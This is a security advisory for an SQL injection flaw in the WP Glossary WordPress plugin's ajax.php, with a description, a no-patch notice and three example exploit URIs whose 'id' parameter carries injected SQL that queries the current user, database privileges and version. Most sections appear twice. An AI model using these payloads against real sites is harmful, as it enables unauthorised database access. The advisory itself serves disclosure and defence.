WordPress WP Glossary Plugin 'ajax.php' SQL Injection Vulnerability
BID:50434
Info
WordPress WP Glossary Plugin 'ajax.php' SQL Injection Vulnerability
| Bugtraq ID: | 50434 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 31 2011 12:00AM |
| Updated: | Oct 31 2011 12:00AM |
| Credit: | longrifle0x |
| Vulnerable: |
WordPress WP Glossary 0 |
| Not Vulnerable: | |
Discussion
WordPress WP Glossary Plugin 'ajax.php' SQL Injection Vulnerability
The WP Glossary plug-in for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
The WP Glossary plug-in for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
WordPress WP Glossary Plugin 'ajax.php' SQL Injection Vulnerability
Attackers can exploit this issue with a browser.
The following example URIs are available:
http://www.example.com/wp-content/plugins/wp-glossary/ajax.php [GET][id=-1][CURRENT_USER()
http://www.example.com/wp-content/plugins/wp-glossary/ajax.php [GET][id=-1][SELECT
(CASE WHEN ((SELECT super_priv FROMmysql.user WHERE user='None' LIMIT 0,1)='Y') THEN 1 ELSE 0 END)
http://www.example.com/wp-content/plugins/wp-glossary/ajax.php [GET][id=-1][MID((VERSION()),1,6)
Attackers can exploit this issue with a browser.
The following example URIs are available:
http://www.example.com/wp-content/plugins/wp-glossary/ajax.php [GET][id=-1][CURRENT_USER()
http://www.example.com/wp-content/plugins/wp-glossary/ajax.php [GET][id=-1][SELECT
(CASE WHEN ((SELECT super_priv FROMmysql.user WHERE user='None' LIMIT 0,1)='Y') THEN 1 ELSE 0 END)
http://www.example.com/wp-content/plugins/wp-glossary/ajax.php [GET][id=-1][MID((VERSION()),1,6)
Solution / Fix
WordPress WP Glossary Plugin 'ajax.php' SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].
References
WordPress WP Glossary Plugin 'ajax.php' SQL Injection Vulnerability
References:
References:
- Wordpress Homepage (Wordpress)
- WP Glossary Homepage (WordPress)